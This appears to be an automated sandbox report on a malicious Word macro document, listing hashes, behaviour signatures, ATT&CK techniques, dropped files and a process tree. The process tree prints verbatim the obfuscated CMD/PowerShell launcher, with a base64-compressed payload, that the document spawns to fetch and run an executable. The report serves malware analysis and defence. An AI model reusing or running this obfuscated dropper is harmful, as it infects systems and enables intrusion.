7a7a96dea01318105b9ca22bb0e951f9475c1d0573fcbeabc33e10fd1ab56c41

Analysis

max time kernel
139s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
14-05-2024 18:52

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General

Target

4293980a40e32263689adc31d09586ba_JaffaCakes118.doc
Size

67KB
MD5

4293980a40e32263689adc31d09586ba
SHA1

0410bb681609ba26a916cf924cd5ec9f952d7ddb
SHA256

7a7a96dea01318105b9ca22bb0e951f9475c1d0573fcbeabc33e10fd1ab56c41
SHA512

0e0deeb21e3b5b60fbaa8f62b0a054e1de90f9f8f806b7fcf77e688c23830e0f19fe743b5db81bdb875afd78d7d5bcfe5607d67aebc547ee8193f1cfc980445c
SSDEEP

768:Q/ZVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9KPVORZ1u2O7VQnoL:EZocn1kp59gxBK85fBt+a9KMRvi

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4836	4800	CMD.exe	84

Blocklisted process makes network request 6 IoCs

flow	pid	Process
26	5068	powershell.exe
39	5068	powershell.exe
46	5068	powershell.exe
50	5068	powershell.exe
52	5068	powershell.exe
53	5068	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4800	WINWORD.EXE
4800	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5068	powershell.exe
5068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5068	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 4836	4800	WINWORD.EXE	90
PID 4800 wrote to memory of 4836	4800	WINWORD.EXE	90
PID 4836 wrote to memory of 5068	4836	CMD.exe	92
PID 4836 wrote to memory of 5068	4836	CMD.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4293980a40e32263689adc31d09586ba_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\SYSTEM32\CMD.exe
  CMD C:\WINDowS\systEm32\CMD.exE /C "set kidZ= . ( $sHellid[1]+$SHELlID[13]+'X')(new-oBject sySTEM.IO.comPRESSiON.deFLatesTreaM( [IO.MeMOrYStReAM][CONVERT]::fRoMbASE64stRINg('NZBBawIxEIX/yh4CUazJzWrDgqViEVEPFraFXrJxiqnZSZqdNWvF/95V6vV9bz6Yx5azTY6Qhr78BkPZGkgUUL44C0iKbdfPOd8ThScpbWiM07XxzqKuhfGVHLej7bxNj9P/Sh2aGKKv/I2WE/hYFKs7TCmJGkwE0tFqaAmwth5FgyRg1wgdZQpD47EDJMvl/Y7AuRPp3UELBJJJb/Tb7PdOwflK1I08crENzlKPT3lfsR8sszzjo/GEK/b6XuQM8PhEUIUB/+SDKx9wAS1w9eUjaLPvsaJZZRaz69P9M8XTmXXjiJlP6Lzeza2DW+chuwr7aoFHf4DhopPeElV2noO6GE1mf75c/gA='), [syStEM.io.cOmprEsSIoN.compRESsiONMODe]::dECOMpREsS ) ^|% {new-oBject iO.STrEamREADEr($_,[sYStEM.TexT.eNCoDinG]::AsCII)}).ReaDTOENd( ) && powErShelL ${7`4k} =[tYpE]( \"{0}{2}{1}\" -F'E','NMeNT','NvIro' ) ; ${eX`eCuTI`oNCoNt`EXt}.\"In`VoKEc`OmM`AnD\".(\"{1}{0}{2}\"-f'kEscr','iNVo','ipT').Invoke(( ${7`4K}::( \"{0}{2}{3}{4}{1}\" -f'geTeN','BLE','v','iROnmE','ntVaRIa' ).Invoke( (\"{0}{1}\" -f 'k','Idz'),( \"{1}{0}\"-f'Ss','PRoce' )) ) )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powErShelL ${7`4k} =[tYpE]( \"{0}{2}{1}\" -F'E','NMeNT','NvIro' ) ; ${eX`eCuTI`oNCoNt`EXt}.\"In`VoKEc`OmM`AnD\".(\"{1}{0}{2}\"-f'kEscr','iNVo','ipT').Invoke(( ${7`4K}::( \"{0}{2}{3}{4}{1}\" -f'geTeN','BLE','v','iROnmE','ntVaRIa' ).Invoke( (\"{0}{1}\" -f 'k','Idz'),( \"{1}{0}\"-f'Ss','PRoce' )) ) )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\689.exe

Filesize
787B

MD5
93ae81f42df855abaa8d0a11ef35f5a1

SHA1
5aebc17ae633659a48775a460fc72fe4768a1fa1

SHA256
ae76dfa0d9ce93ca1c0081b3a6d5ed417f6f9f36250b3f7ed9186610e6465f23

SHA512
34dcd8320acbe3611e144d843c5b8346ba8892ccb21359fa2963da70f424e41fc0d07aae607e37abc581109991aa4c7d8c47d62127cb1cf4934187e03d0a2671

Download Submit
C:\Users\Admin\AppData\Local\Temp\689.exe

Filesize
67KB

MD5
52fb9831dd12a8067f86dfe11f6776f3

SHA1
9d5f8e00cb8872db5f323271a5ccf7e7298046a0

SHA256
32dd71e653511fe3a68a5c17f84dddbe08de6dd6fc587cba67cc294d712f8504

SHA512
c69a5a575990a1fcd54c87089a51a82210e24407f7cabc14dc050b9451cff1b9076d2ab9bc963ded86c495bad3256d6efcf9551fd287f86ad30488590e530ab3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDB701.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yddssxeh.hz5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4800-12-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-588-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-1-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-7-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-8-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-9-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-2-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-11-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-22-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-10-0x00007FFEF5170000-0x00007FFEF5180000-memory.dmp

Filesize
64KB

Download
memory/4800-14-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-15-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-17-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-16-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-18-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-19-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-20-0x00007FFEF5170000-0x00007FFEF5180000-memory.dmp

Filesize
64KB

Download
memory/4800-23-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-13-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-4-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-6-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-48-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-47-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-5-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-590-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-49-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-3-0x00007FFF3780D000-0x00007FFF3780E000-memory.dmp

Filesize
4KB

Download
memory/4800-391-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-0-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-545-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-546-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-565-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-566-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/4800-586-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-587-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-589-0x00007FFEF77F0000-0x00007FFEF7800000-memory.dmp

Filesize
64KB

Download
memory/4800-21-0x00007FFF37770000-0x00007FFF37965000-memory.dmp

Filesize
2.0MB

Download
memory/5068-50-0x0000024AEF2F0000-0x0000024AEF312000-memory.dmp

Filesize
136KB

Download